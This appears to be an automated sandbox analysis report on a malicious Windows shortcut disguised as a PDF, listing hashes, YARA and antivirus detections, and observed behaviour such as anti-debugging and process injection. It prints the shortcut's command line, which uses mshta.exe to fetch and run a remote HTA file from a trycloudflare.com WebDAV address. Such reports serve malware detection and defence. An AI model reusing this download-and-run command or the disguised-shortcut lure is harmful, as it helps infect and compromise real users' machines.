popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

RE_007394029384393483.pdf.lnk

Generic Malware AntiVM Lnk Format AntiDebug GIF Format
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 April 17, 2025, 10:01 a.m. April 17, 2025, 10:03 a.m.
Size 2.8KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=11, Archive, ctime=Fri Sep 14 22:12:47 2018, mtime=Fri Sep 14 22:12:47 2018, atime=Fri Sep 14 22:12:47 2018, length=14848, window=hidenormalshowminimized
MD5 bd198f0891ebf2cc898a80cd9c83c686
SHA256 7256a6cf74ab073f52056a719f3d9b20b0aea7a6fe52cc6e0b69d2bfb7944f26
CRC32 33EDEA76
ssdeep 24:8uK5b+Jj4d8A6Z+/ee1CmqddNXuHYan7E58LkCj+7S7F2JQvMz6shxCOMB/g063v:86JcoVdLXuHz7Jk7gF2Jqs3MBY0YW+
Yara
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format
  • Generic_Malware_Zero - Generic Malware

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2668
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73352000
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\RE_007394029384393483.pdf.lnk
cmdline "C:\Windows\System32\mshta.exe" "\\flexibility-soldiers-photo-dealer.trycloudflare.com@SSL\DavWWWRoot\ray.hta"
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
VirIT Trojan.LNK.Heur.A
ESET-NOD32 LNK/Agent.AHN
Avast CMD:Agent-DK [Drp]
Kaspersky HEUR:Trojan-Downloader.WinLNK.Agent.gen
Rising Downloader.Agent/LNK!1.128EB (CLASSIC)
Sophos Troj/DownLnk-CJ
Google Detected
ZoneAlarm Troj/DownLnk-CJ
Varist LNK/Agent.JW.gen!Eldorado
Zoner Probably Heur.LNKScript
Tencent Win32.Trojan-Downloader.Agent.Kqil
huorong TrojanDownloader/LNK.Agent.da
Fortinet LNK/Agent.AHN!tr
AVG CMD:Agent-DK [Drp]
Process injection Process 2556 resumed a thread in remote process 2668
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000334
suspend_count: 1
process_identifier: 2668
1 0 0